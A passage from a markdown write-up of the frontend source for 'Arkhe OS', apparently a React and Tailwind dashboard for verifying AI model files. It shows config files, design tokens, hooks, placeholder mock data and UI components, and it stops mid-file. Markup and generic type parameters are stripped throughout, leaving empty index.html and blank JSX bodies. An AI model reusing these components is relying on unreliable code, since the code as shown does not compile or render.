'./src'),\n    },\n  },\n  server: {\n    port: 5173,\n    host: true,\n  },\n  build: {\n    target: 'es2022',\n    sourcemap: true,\n    rollupOptions: {\n      output: {\n        manualChunks: {\n          'react-vendor': ['react', 'react-dom', 'react-router-dom'],\n          'viz': ['recharts', 'd3-force'],\n        },\n      },\n    },\n  },\n});\n```\n\n### `tailwind.config.js`\n\n```js\n/** @type {import('tailwindcss').Config} */\nexport default {\n  content: ['./index.html', './src/**/*.{ts,tsx}'],\n  theme: {\n    extend: {\n      colors: {\n        arkhe: {\n          bg: '#0a0a1a',\n          surface: '#0d1b2a',\n          border: '#1a2a3a',\n          borderHi: '#2a3d52',\n          blue: '#7ec8e3',\n          blueDim: '#4a8ca8',\n          green: '#2ecc71',\n          yellow: '#f1c40f',\n          red: '#e74c3c',\n          purple: '#a855f7',\n          magenta: '#e879f9',\n          muted: '#6b8299',\n          dim: '#3d5066',\n          fg: '#e5eef6',\n        },\n      },\n      fontFamily: {\n        mono: ['\"JetBrains Mono\"', '\"Courier New\"', 'monospace'],\n        sans: ['Inter', 'system-ui', 'sans-serif'],\n      },\n      boxShadow: {\n        glow: '0 0 24px rgba(126, 200, 227, 0.15)',\n        'glow-lg': '0 0 48px rgba(126, 200, 227, 0.25)',\n        inset: 'inset 0 1px 0 rgba(255, 255, 255, 0.04)',\n      },\n      animation: {\n        'pulse-slow': 'pulse 3s cubic-bezier(0.4, 0, 0.6, 1) infinite',\n        'fade-in': 'fadeIn 0.2s ease-out',\n        'slide-up': 'slideUp 0.25s ease-out',\n      },\n      keyframes: {\n        fadeIn: {\n          '0%': { opacity: '0' },\n          '100%': { opacity: '1' },\n        },\n        slideUp: {\n          '0%': { opacity: '0', transform: 'translateY(8px)' },\n          '100%': { opacity: '1', transform: 'translateY(0)' },\n        },\n      },\n    },\n  },\n  plugins: [],\n};\n```\n\n### `postcss.config.js`\n\n```js\nexport default {\n  plugins: {\n    tailwindcss: {},\n    autoprefixer: {},\n  },\n};\n```\n\n### `tsconfig.json`\n\n```json\n{\n  \"compilerOptions\": {\n    \"target\": \"ES2022\",\n    \"useDefineForClassFields\": true,\n    \"lib\": [\"ES2022\", \"DOM\", \"DOM.Iterable\"],\n    \"module\": \"ESNext\",\n    \"skipLibCheck\": true,\n    \"moduleResolution\": \"bundler\",\n    \"allowImportingTsExtensions\": true,\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"noEmit\": true,\n    \"jsx\": \"react-jsx\",\n    \"strict\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noFallthroughCasesInSwitch\": true,\n    \"baseUrl\": \".\",\n    \"paths\": { \"@/*\": [\"./src/*\"] }\n  },\n  \"include\": [\"src\"],\n  \"references\": [{ \"path\": \"./tsconfig.node.json\" }]\n}\n```\n\n### `tsconfig.node.json`\n\n```json\n{\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"skipLibCheck\": true,\n    \"module\": \"ESNext\",\n    \"moduleResolution\": \"bundler\",\n    \"allowSyntheticDefaultImports\": true,\n    \"strict\": true\n  },\n  \"include\": [\"vite.config.ts\"]\n}\n```\n\n### `index.html`\n\n```html\n\n\n  \n    \n    \n    \n    Arkhe OS \u00b7 Verifica\u00e7\u00e3o\n    \n    \n    \n  \n  \n    \n\n    \n  \n\n```\n\n---\n\n## 3. Design Tokens \u2014 `src/styles/globals.css`\n\n```css\n@tailwind base;\n@tailwind components;\n@tailwind utilities;\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n   ARKHE DESIGN TOKENS\n   Forensic ledger aesthetic \u00b7 dark neon \u00b7 monospace density\n   \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n\n@layer base {\n  :root {\n    color-scheme: dark;\n    --radius: 8px;\n    --radius-sm: 4px;\n    --radius-lg: 12px;\n    --transition-fast: 120ms;\n    --transition-base: 200ms;\n  }\n\n  * {\n    border-color: theme('colors.arkhe.border');\n  }\n\n  html, body, #root {\n    height: 100%;\n    background: theme('colors.arkhe.bg');\n    color: theme('colors.arkhe.fg');\n  }\n\n  body {\n    font-family: theme('fontFamily.sans');\n    font-feature-settings: 'ss01', 'cv11';\n    -webkit-font-smoothing: antialiased;\n    text-rendering: optimizeLegibility;\n    overscroll-behavior-y: none;\n  }\n\n  code, pre, .mono {\n    font-family: theme('fontFamily.mono');\n    font-variant-ligatures: none;\n  }\n\n  /* Focus visible \u2014 INV-A11Y-06 */\n  :focus-visible {\n    outline: 2px solid theme('colors.arkhe.blue');\n    outline-offset: 2px;\n    border-radius: var(--radius-sm);\n  }\n\n  /* Reduced motion \u2014 QG-A11Y-05 */\n  @media (prefers-reduced-motion: reduce) {\n    *, *::before, *::after {\n      animation-duration: 0.001ms !important;\n      transition-duration: 0.001ms !important;\n    }\n  }\n\n  /* Scrollbar */\n  ::-webkit-scrollbar {\n    width: 10px;\n    height: 10px;\n  }\n  ::-webkit-scrollbar-track {\n    background: theme('colors.arkhe.bg');\n  }\n  ::-webkit-scrollbar-thumb {\n    background: theme('colors.arkhe.border');\n    border-radius: 5px;\n  }\n  ::-webkit-scrollbar-thumb:hover {\n    background: theme('colors.arkhe.borderHi');\n  }\n}\n\n@layer components {\n  /* \u2500\u2500 Status pills (honest status) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 */\n  .status {\n    @apply inline-flex items-center gap-1.5 px-2 py-0.5 rounded text-xs font-mono font-medium border;\n  }\n  .status-verified {\n    @apply text-arkhe-green border-arkhe-green/30 bg-arkhe-green/10;\n  }\n  .status-partial {\n    @apply text-arkhe-yellow border-arkhe-yellow/30 bg-arkhe-yellow/10;\n  }\n  .status-failed {\n    @apply text-arkhe-red border-arkhe-red/30 bg-arkhe-red/10;\n  }\n  .status-nonexistent {\n    @apply text-arkhe-muted border-arkhe-border bg-arkhe-surface;\n  }\n  .status-pending {\n    @apply text-arkhe-blue border-arkhe-blue/30 bg-arkhe-blue/10;\n  }\n  .status-blocked {\n    @apply text-arkhe-purple border-arkhe-purple/30 bg-arkhe-purple/10;\n  }\n\n  /* \u2500\u2500 Section labels \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 */\n  .label-section {\n    @apply text-[11px] uppercase tracking-[0.14em] text-arkhe-dim font-semibold;\n  }\n  .label-mono {\n    @apply font-mono text-xs text-arkhe-muted;\n  }\n\n  /* \u2500\u2500 Ledger surface \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 */\n  .ledger {\n    @apply bg-arkhe-surface border border-arkhe-border rounded-lg shadow-inset;\n  }\n  .ledger-hover {\n    @apply hover:border-arkhe-borderHi transition-colors;\n  }\n\n  /* \u2500\u2500 Hash display \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 */\n  .hash {\n    @apply font-mono text-xs text-arkhe-blueDim break-all;\n  }\n\n  /* \u2500\u2500 Gate bar \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 */\n  .gate-bar {\n    @apply h-1 rounded-full bg-arkhe-border overflow-hidden;\n  }\n\n  /* \u2500\u2500 Nav item \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 */\n  .nav-item {\n    @apply flex items-center gap-3 px-3 py-2 rounded-md text-sm transition-colors;\n  }\n  .nav-item-active {\n    @apply bg-arkhe-border/60 text-arkhe-blue;\n  }\n  .nav-item-idle {\n    @apply text-arkhe-muted hover:text-arkhe-fg hover:bg-arkhe-border/40;\n  }\n}\n\n@layer utilities {\n  .scrollbar-thin {\n    scrollbar-width: thin;\n  }\n  .text-balance {\n    text-wrap: balance;\n  }\n  .safe-bottom {\n    padding-bottom: env(safe-area-inset-bottom);\n  }\n  .safe-top {\n    padding-top: env(safe-area-inset-top);\n  }\n}\n```\n\n---\n\n## 4. Lib, Contexts, Hooks\n\n### `src/lib/utils.ts`\n\n```ts\nimport { clsx, type ClassValue } from 'clsx';\nimport { twMerge } from 'tailwind-merge';\n\nexport function cn(...inputs: ClassValue[]) {\n  return twMerge(clsx(inputs));\n}\n\nexport function truncateHash(hash: string, front = 8, back = 8): string {\n  if (hash.length &lt;= front + back + 1) return hash;\n  return `${hash.slice(0, front)}\u2026${hash.slice(-back)}`;\n}\n\nexport function formatBytes(bytes: number): string {\n  if (bytes &lt; 1024) return `${bytes} B`;\n  if (bytes &lt; 1024 ** 2) return `${(bytes / 1024).toFixed(1)} KB`;\n  if (bytes &lt; 1024 ** 3) return `${(bytes / 1024 ** 2).toFixed(1)} MB`;\n  return `${(bytes / 1024 ** 3).toFixed(2)} GB`;\n}\n\nexport function formatRelative(ts: number): string {\n  const diff = Date.now() - ts;\n  const s = Math.floor(diff / 1000);\n  if (s &lt; 60) return `${s}s atr\u00e1s`;\n  const m = Math.floor(s / 60);\n  if (m &lt; 60) return `${m}min atr\u00e1s`;\n  const h = Math.floor(m / 60);\n  if (h &lt; 24) return `${h}h atr\u00e1s`;\n  return `${Math.floor(h / 24)}d atr\u00e1s`;\n}\n\nexport function formatTimestamp(ts: number): string {\n  return new Date(ts).toLocaleTimeString('pt-BR', { hour12: false });\n}\n```\n\n### `src/lib/constants.ts`\n\n```ts\nexport const GATE_NAMES = [\n  { id: 0, name: 'Sanitiza\u00e7\u00e3o', short: 'Gate 0' },\n  { id: 1, name: 'Hash', short: 'Gate 1' },\n  { id: 2, name: 'Assinatura', short: 'Gate 2' },\n  { id: 3, name: 'Inclus\u00e3o', short: 'Gate 3' },\n] as const;\n\nexport const STATUS_SYMBOLS = {\n  VERIFIED: '\u2705',\n  PARTIAL: '\u26a0\ufe0f',\n  FAILED: '\u274c',\n  NONEXISTENT: '\u2b1c',\n  PENDING: '\u23f3',\n  BLOCKED: '\ud83d\udd12',\n} as const;\n\nexport const STATUS_LABELS = {\n  VERIFIED: 'VERIFIED',\n  PARTIAL: 'PARTIAL',\n  FAILED: 'FAILED',\n  NONEXISTENT: 'NONEXISTENT',\n  PENDING: 'PENDING',\n  BLOCKED: 'BLOCKED',\n} as const;\n\nexport const CAPABILITIES = [\n  'text_generation',\n  'reasoning',\n  'code',\n  'vision',\n  'audio',\n  'tool_use',\n] as const;\n\nexport const PREFERENCES = ['cost', 'latency', 'balanced'] as const;\n\nexport const KEYBOARD_SHORTCUTS = {\n  SEARCH: 'Ctrl+K',\n  VERIFY: 'Ctrl+Shift+V',\n  COMMAND_PALETTE: 'Ctrl+Shift+P',\n  ESCAPE: 'Esc',\n} as const;\n```\n\n### `src/lib/mock-data.ts`\n\n```ts\nexport type ArkheStatus =\n  | 'VERIFIED'\n  | 'PARTIAL'\n  | 'FAILED'\n  | 'NONEXISTENT'\n  | 'PENDING'\n  | 'BLOCKED';\n\nexport interface GateResult {\n  id: 0 | 1 | 2 | 3;\n  name: string;\n  status: ArkheStatus;\n  detail: string;\n}\n\nexport interface ModelRecord {\n  id: string;\n  name: string;\n  hash: string;\n  size: number;\n  status: ArkheStatus;\n  verifiedAt: number;\n  capabilities: string[];\n  license: string;\n}\n\nexport interface VerificationRecord {\n  id: string;\n  modelId: string;\n  status: ArkheStatus;\n  gates: GateResult[];\n  recordHash: string;\n  timestamp: number;\n}\n\nexport interface WormEvent {\n  id: number;\n  kind: 'verify_ok' | 'verify_fail' | 'sign' | 'rekor' | 'merge' | 'boot';\n  summary: string;\n  recordHash: string;\n  timestamp: number;\n}\n\nexport interface Invariant {\n  id: string;\n  statement: string;\n  category: string;\n  critical: boolean;\n  status: ArkheStatus;\n}\n\nexport interface Policy {\n  id: string;\n  name: string;\n  welfare: number;\n  agency: number;\n  durability: number;\n  status: ArkheStatus;\n  phase: 'PRE_EMPTIVE' | 'STABILIZER' | 'BACKSTOP';\n}\n\nexport const MOCK_MODELS: ModelRecord[] = [\n  {\n    id: 'arkhe-demo',\n    name: 'arkhe.gguf',\n    hash: '9822626ecb93d38a4f1e5c8a9b7d6e3f2a1b0c9d8e7f6a5b4c3d2e1f0a9b8c7d',\n    size: 1_534_000_000,\n    status: 'VERIFIED',\n    verifiedAt: Date.now() - 120_000,\n    capabilities: ['text_generation', 'reasoning', 'code'],\n    license: 'Apache-2.0',\n  },\n  {\n    id: 'qwen-1.5b',\n    name: 'Qwen2.5-1.5B-Instruct.gguf',\n    hash: '3a4f5c8a9b7d6e3f2a1b0c9d8e7f6a5b4c3d2e1f0a9b8c7d6e5f4a3b2c1d0e9f',\n    size: 1_100_000_000,\n    status: 'VERIFIED',\n    verifiedAt: Date.now() - 600_000,\n    capabilities: ['text_generation'],\n    license: 'Apache-2.0',\n  },\n  {\n    id: 'llama-3.2',\n    name: 'Llama-3.2-3B.gguf',\n    hash: '7c8a9b7d6e3f2a1b0c9d8e7f6a5b4c3d2e1f0a9b8c7d6e5f4a3b2c1d0e9f8a7b',\n    size: 2_100_000_000,\n    status: 'VERIFIED',\n    verifiedAt: Date.now() - 1_200_000,\n    capabilities: ['text_generation', 'reasoning'],\n    license: 'Llama-3.2',\n  },\n  {\n    id: 'smollm2',\n    name: 'SmolLM2-135M.gguf',\n    hash: 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2',\n    size: 110_000_000,\n    status: 'PARTIAL',\n    verifiedAt: Date.now() - 3_600_000,\n    capabilities: ['text_generation'],\n    license: 'Apache-2.0',\n  },\n  {\n    id: 'phi-3.5',\n    name: 'Phi-3.5-mini.gguf',\n    hash: 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3',\n    size: 2_300_000_000,\n    status: 'FAILED',\n    verifiedAt: Date.now() - 7_200_000,\n    capabilities: ['text_generation'],\n    license: 'MIT',\n  },\n];\n\nexport const MOCK_GATES: GateResult[] = [\n  {\n    id: 0,\n    name: 'Sanitiza\u00e7\u00e3o',\n    status: 'VERIFIED',\n    detail: '35 KV \u00b7 338 tensores \u00b7 0 CVEs',\n  },\n  {\n    id: 1,\n    name: 'Hash',\n    status: 'VERIFIED',\n    detail: 'SHA-256 match byte-for-byte',\n  },\n  {\n    id: 2,\n    name: 'Assinatura',\n    status: 'VERIFIED',\n    detail: 'Ed25519 \u00b7 Sigstore/Fulcio',\n  },\n  {\n    id: 3,\n    name: 'Inclus\u00e3o',\n    status: 'VERIFIED',\n    detail: 'Rekor log_index 123456 \u00b7 quorum 2/2',\n  },\n];\n\nexport const MOCK_VERIFICATIONS: VerificationRecord[] = [\n  {\n    id: 'v1',\n    modelId: 'arkhe-demo',\n    status: 'VERIFIED',\n    gates: MOCK_GATES,\n    recordHash: '9822626ecb93d38a',\n    timestamp: Date.now() - 120_000,\n  },\n  {\n    id: 'v2',\n    modelId: 'qwen-1.5b',\n    status: 'VERIFIED',\n    gates: MOCK_GATES,\n    recordHash: '3a4f5c8a9b7d6e3f',\n    timestamp: Date.now() - 600_000,\n  },\n  {\n    id: 'v3',\n    modelId: 'phi-3.5',\n    status: 'FAILED',\n    gates: [\n      MOCK_GATES[0],\n      { ...MOCK_GATES[1], status: 'FAILED', detail: 'Hash mismatch' },\n      { ...MOCK_GATES[2], status: 'NONEXISTENT', detail: 'Sem assinatura' },\n      { ...MOCK_GATES[3], status: 'NONEXISTENT', detail: 'Sem prova' },\n    ],\n    recordHash: 'b2c3d4e5f6a7b8c9',\n    timestamp: Date.now() - 7_200_000,\n  },\n];\n\nexport const MOCK_WORM_EVENTS: WormEvent[] = [\n  { id: 1, kind: 'boot', summary: 'Arkhe OS inicializado', recordHash: '0000\u2026', timestamp: Date.now() - 7_200_000 },\n  { id: 2, kind: 'sign', summary: 'Sigstore/Fulcio assinou arkhe.gguf', recordHash: '3a4f\u2026', timestamp: Date.now() - 600_000 },\n  { id: 3, kind: 'rekor', summary: 'Registro Rekor #123456 ancorado', recordHash: '7c8a\u2026', timestamp: Date.now() - 600_000 },\n  { id: 4, kind: 'verify_ok', summary: 'arkhe.gguf verificado (4/4 gates)', recordHash: '9822\u2026', timestamp: Date.now() - 120_000 },\n  { id: 5, kind: 'verify_fail', summary: 'phi-3.5 rejeitado (hash mismatch)', recordHash: 'b2c3\u2026', timestamp: Date.now() - 7_200_000 },\n];\n\nexport const MOCK_INVARIANTS: Invariant[] = [\n  { id: 'INV-AI-01', statement: 'Todo contexto tem record_hash verific\u00e1vel', category: 'AUDITABILITY', critical: false, status: 'VERIFIED' },\n  { id: 'INV-AI-02', statement: 'Contexto vazio \u00e9 rejeitado', category: 'SAFETY', critical: false, status: 'VERIFIED' },\n  { id: 'INV-AI-07', statement: 'Toda infer\u00eancia tem record_hash', category: 'AUDITABILITY', critical: true, status: 'VERIFIED' },\n  { id: 'INV-AI-08', statement: 'Trust anchor obrigat\u00f3ria (fail-closed)', category: 'SAFETY', critical: true, status: 'VERIFIED' },\n  { id: 'INV-AI-09', statement: 'Custo verificado contra or\u00e7amento', category: 'SAFETY', critical: true, status: 'VERIFIED' },\n  { id: 'INV-AI-10', statement: 'Nenhuma infer\u00eancia usa modelo n\u00e3o-verificado', category: 'CRYPTOGRAPHY', critical: true, status: 'VERIFIED' },\n  { id: 'INV-WEB3-05', statement: 'Log append-only com MMR', category: 'AUDITABILITY', critical: true, status: 'VERIFIED' },\n  { id: 'INV-WEB3-16', statement: 'Fail-closed sobre aus\u00eancia', category: 'SAFETY', critical: true, status: 'VERIFIED' },\n];\n\nexport const MOCK_POLICIES: Policy[] = [\n  { id: 'ui', name: 'UI expandido', welfare: 66.7, agency: 42.0, durability: 64.0, status: 'VERIFIED', phase: 'PRE_EMPTIVE' },\n  { id: 'eitc', name: 'EITC', welfare: 68.8, agency: 47.2, durability: 60.7, status: 'VERIFIED', phase: 'PRE_EMPTIVE' },\n  { id: 'retraining', name: 'Retraining', welfare: 58.0, agency: 52.0, durability: 56.0, status: 'VERIFIED', phase: 'PRE_EMPTIVE' },\n  { id: 'nit', name: 'NIT', welfare: 69.8, agency: 53.7, durability: 69.6, status: 'PENDING', phase: 'STABILIZER' },\n  { id: 'ubi', name: 'UBI', welfare: 62.0, agency: 53.1, durability: 62.7, status: 'PENDING', phase: 'STABILIZER' },\n  { id: 'ubc', name: 'UBC', welfare: 62.0, agency: 76.3, durability: 74.2, status: 'PENDING', phase: 'BACKSTOP' },\n  { id: 'ubs', name: 'UBS', welfare: 70.0, agency: 50.0, durability: 75.0, status: 'PENDING', phase: 'BACKSTOP' },\n  { id: 'sov', name: 'Sovereign AI Fund', welfare: 58.0, agency: 55.2, durability: 65.0, status: 'PENDING', phase: 'BACKSTOP' },\n];\n```\n\n### `src/contexts/AppContext.tsx`\n\n```tsx\nimport { createContext, useContext, useMemo, useState, type ReactNode } from 'react';\nimport type { ArkheStatus } from '@/lib/mock-data';\n\nexport type AppMode = 'basic' | 'expert';\n\ninterface Toast {\n  id: string;\n  kind: 'info' | 'success' | 'error';\n  message: string;\n}\n\ninterface AppState {\n  mode: AppMode;\n  setMode: (m: AppMode) =&gt; void;\n  toasts: Toast[];\n  pushToast: (kind: Toast['kind'], message: string) =&gt; void;\n  dismissToast: (id: string) =&gt; void;\n\n  trustAnchor: string | null;\n  setTrustAnchor: (a: string | null) =&gt; void;\n\n  budget: number;\n  setBudget: (b: number) =&gt; void;\n\n  selectedModelId: string | null;\n  setSelectedModelId: (id: string | null) =&gt; void;\n}\n\nconst Ctx = createContext(null);\n\nexport function AppProvider({ children }: { children: ReactNode }) {\n  const [mode, setMode] = useState('basic');\n  const [toasts, setToasts] = useState([]);\n  const [trustAnchor, setTrustAnchor] = useState('did:arkhe:anchor');\n  const [budget, setBudget] = useState(100);\n  const [selectedModelId, setSelectedModelId] = useState(null);\n\n  const value = useMemo(\n    () =&gt; ({\n      mode,\n      setMode,\n      toasts,\n      pushToast: (kind, message) =&gt; {\n        const id = crypto.randomUUID();\n        setToasts((t) =&gt; [...t, { id, kind, message }]);\n        setTimeout(() =&gt; {\n          setToasts((t) =&gt; t.filter((x) =&gt; x.id !== id));\n        }, 4000);\n      },\n      dismissToast: (id) =&gt; setToasts((t) =&gt; t.filter((x) =&gt; x.id !== id)),\n      trustAnchor,\n      setTrustAnchor,\n      budget,\n      setBudget,\n      selectedModelId,\n      setSelectedModelId,\n    }),\n    [mode, toasts, trustAnchor, budget, selectedModelId],\n  );\n\n  return {children};\n}\n\nexport function useApp(): AppState {\n  const v = useContext(Ctx);\n  if (!v) throw new Error('useApp fora do AppProvider');\n  return v;\n}\n```\n\n### `src/hooks/useMediaQuery.ts`\n\n```ts\nimport { useEffect, useState } from 'react';\n\nexport function useMediaQuery(query: string): boolean {\n  const [matches, setMatches] = useState(() =&gt;\n    typeof window !== 'undefined' ? window.matchMedia(query).matches : false,\n  );\n\n  useEffect(() =&gt; {\n    const mql = window.matchMedia(query);\n    const handler = (e: MediaQueryListEvent) =&gt; setMatches(e.matches);\n    mql.addEventListener('change', handler);\n    return () =&gt; mql.removeEventListener('change', handler);\n  }, [query]);\n\n  return matches;\n}\n\nexport const useIsMobile = () =&gt; useMediaQuery('(max-width: 767px)');\nexport const useIsDesktop = () =&gt; useMediaQuery('(min-width: 1024px)');\n```\n\n### `src/hooks/useKeyboardShortcuts.ts`\n\n```ts\nimport { useEffect } from 'react';\nimport { useNavigate } from 'react-router-dom';\n\nexport function useKeyboardShortcuts() {\n  const navigate = useNavigate();\n\n  useEffect(() =&gt; {\n    const handler = (e: KeyboardEvent) =&gt; {\n      const mod = e.ctrlKey || e.metaKey;\n\n      if (mod &amp;&amp; e.key.toLowerCase() === 'k') {\n        e.preventDefault();\n        const input = document.querySelector('[data-global-search]');\n        input?.focus();\n      }\n\n      if (mod &amp;&amp; e.shiftKey &amp;&amp; e.key.toLowerCase() === 'v') {\n        e.preventDefault();\n        navigate('/verify');\n      }\n\n      if (e.key === 'Escape') {\n        const active = document.activeElement as HTMLElement | null;\n        if (active?.tagName === 'INPUT') active.blur();\n      }\n    };\n\n    window.addEventListener('keydown', handler);\n    return () =&gt; window.removeEventListener('keydown', handler);\n  }, [navigate]);\n}\n```\n\n---\n\n## 5. UI Primitives\n\n### `src/components/ui/Button.tsx`\n\n```tsx\nimport { forwardRef, type ButtonHTMLAttributes } from 'react';\nimport { cn } from '@/lib/utils';\n\ntype Variant = 'primary' | 'secondary' | 'ghost' | 'danger' | 'success' | 'outline';\ntype Size = 'sm' | 'md' | 'lg' | 'icon';\n\ninterface Props extends ButtonHTMLAttributes {\n  variant?: Variant;\n  size?: Size;\n}\n\nconst variants: Record = {\n  primary: 'bg-arkhe-blue/15 text-arkhe-blue border-arkhe-blue/40 hover:bg-arkhe-blue/25',\n  secondary: 'bg-arkhe-surface text-arkhe-fg border-arkhe-border hover:border-arkhe-borderHi',\n  ghost: 'bg-transparent text-arkhe-muted hover:text-arkhe-fg hover:bg-arkhe-border/40 border-transparent',\n  danger: 'bg-arkhe-red/15 text-arkhe-red border-arkhe-red/40 hover:bg-arkhe-red/25',\n  success: 'bg-arkhe-green/15 text-arkhe-green border-arkhe-green/40 hover:bg-arkhe-green/25',\n  outline: 'bg-transparent text-arkhe-fg border-arkhe-borderHi hover:bg-arkhe-border/40',\n};\n\nconst sizes: Record = {\n  sm: 'h-8 px-3 text-xs',\n  md: 'h-10 px-4 text-sm',\n  lg: 'h-12 px-6 text-base',\n  icon: 'h-9 w-9 p-0',\n};\n\nexport const Button = forwardRef(\n  ({ className, variant = 'secondary', size = 'md', ...rest }, ref) =&gt; (\n    \n  ),\n);\nButton.displayName = 'Button';\n```\n\n### `src/components/ui/Card.tsx`\n\n```tsx\nimport { type HTMLAttributes, type ReactNode } from 'react';\nimport { cn } from '@/lib/utils';\n\ninterface CardProps extends HTMLAttributes {\n  children: ReactNode;\n}\n\nexport function Card({ className, children, ...rest }: CardProps) {\n  return (\n    \n\n      {children}\n    \n  );\n}\n\ninterface CardHeaderProps {\n  title: ReactNode;\n  subtitle?: ReactNode;\n  actions?: ReactNode;\n  icon?: ReactNode;\n  className?: string;\n}\n\nexport function CardHeader({ title, subtitle, actions, icon, className }: CardHeaderProps) {\n  return (\n    \n\n      \n\n        {icon &amp;&amp; \n{icon}}\n        \n\n          \n{title}\n          {subtitle &amp;&amp; \n{subtitle}}\n        \n      \n      {actions &amp;&amp; \n{actions}}\n    \n  );\n}\n\nexport function CardBody({ className, children, ...rest }: CardProps) {\n  return (\n    \n\n      {children}\n    \n  );\n}\n\nexport function CardFooter({ className, children }: CardProps) {\n  return (\n    \n\n      {children}\n    \n  );\n}\n```\n\n### `src/components/ui/Badge.tsx`\n\n```tsx\nimport { cn } from '@/lib/utils';\nimport { STATUS_SYMBOLS, STATUS_LABELS } from '@/lib/constants';\nimport type { ArkheStatus } from '@/lib/mock-data';\n\ninterface BadgeProps {\n  status: ArkheStatus;\n  label?: string;\n  className?: string;\n  showSymbol?: boolean;\n}\n\nconst classMap: Record = {\n  VERIFIED: 'status-verified',\n  PARTIAL: 'status-partial',\n  FAILED: 'status-failed',\n  NONEXISTENT: 'status-nonexistent',\n  PENDING: 'status-pending',\n  BLOCKED: 'status-blocked',\n};\n\nexport function Badge({ status, label, className, showSymbol = true }: BadgeProps) {\n  return (\n    \n      {showSymbol &amp;&amp; {STATUS_SYMBOLS[status]}}\n      {label ?? STATUS_LABELS[status]}\n    \n  );\n}\n```\n\n### `src/components/ui/Progress.tsx`\n\n```tsx\nimport { cn } from '@/lib/utils';\n\ninterface ProgressProps {\n  value: number; // 0..100\n  max?: number;\n  tone?: 'blue' | 'green' | 'yellow' | 'red' | 'purple';\n  className?: string;\n}\n\nconst tones = {\n  blue: 'bg-arkhe-blue',\n  green: 'bg-arkhe-green',\n  yellow: 'bg-arkhe-yellow',\n  red: 'bg-arkhe-red',\n  purple: 'bg-arkhe-purple',\n};\n\nexport function Progress({ value, max = 100, tone = 'blue', className }: ProgressProps) {\n  const pct = Math.min(100, Math.max(0, (value / max) * 100));\n  return (\n    \n\n      \n\n    \n  );\n}\n```\n\n### `src/components/ui/Tabs.tsx`\n\n```tsx\nimport { cn } from '@/lib/utils';\nimport type { ReactNode } from 'react';\n\ninterface TabsProps {\n  value: T;\n  onChange: (v: T) =&gt; void;\n  items: { value: T; label: ReactNode; count?: number }[];\n  className?: string;\n}\n\nexport function Tabs({ value, onChange, items, className }: TabsProps) {\n  return (\n    \n\n      {items.map((item) =&gt; {\n        const active = item.value === value;\n        return (\n           onChange(item.value)}\n            className={cn(\n              'inline-flex items-center gap-2 rounded px-3 py-1.5 text-xs font-mono uppercase tracking-wider transition-colors',\n              active\n                ? 'bg-arkhe-blue/15 text-arkhe-blue'\n                : 'text-arkhe-muted hover:text-arkhe-fg',\n            )}\n          &gt;\n            {item.label}\n            {typeof item.count === 'number' &amp;&amp; (\n              {item.count}\n            )}\n          \n        );\n      })}\n    \n  );\n}\n```\n\n### `src/components/ui/Dialog.tsx`\n\n```tsx\nimport { useEffect, type ReactNode } from 'react';\nimport { createPortal } from 'react-dom';\nimport { X } from 'lucide-react';\nimport { cn } from '@/lib/utils';\nimport { Button } from './Button';\n\ninterface DialogProps {\n  open: boolean;\n  onClose: () =&gt; void;\n  title: ReactNode;\n  children: ReactNode;\n  footer?: ReactNode;\n  size?: 'sm' | 'md' | 'lg';\n  closeOnBackdrop?: boolean;\n}\n\nconst sizes = {\n  sm: 'max-w-md',\n  md: 'max-w-lg',\n  lg: 'max-w-2xl',\n};\n\nexport function Dialog({\n  open,\n  onClose,\n  title,\n  children,\n  footer,\n  size = 'md',\n  closeOnBackdrop = true,\n}: 